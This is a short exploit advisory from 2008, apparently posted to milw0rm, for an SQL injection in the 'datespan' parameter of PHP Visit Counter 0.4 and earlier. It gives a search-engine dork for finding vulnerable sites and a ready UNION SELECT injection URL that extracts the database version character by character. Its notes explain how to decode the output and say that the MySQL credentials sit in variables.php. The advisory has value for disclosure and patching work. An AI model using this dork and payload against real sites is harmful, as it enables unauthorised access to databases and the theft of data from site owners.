PHP Visit Counter 0.4 - 'datespan' SQL Injection

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#           PHP Visit Counter <= 0.4 - SQL Injection Vulnerability
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack, Ciphercrew, h4ck-y0u
#      Date:                        30.05.2008
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#      Dork:  inurl:"read.php?datespan="
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#      Vulnerability:
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#      1.) SQL Injection
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#         1.1.) [Target]/read.php?action=read&cat=portal&datespan=null+group+by+null+union+select+1,2,ascii(substring(version(),1,1))/*
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#      Notes:
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#         Output is displayed as INT, so you've to convert it into ascii and
#         scan every single letter to get the whole name.
#         MySQL Data is stored in [Counterpath]/variables.php
#
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# milw0rm.com [2008-05-31]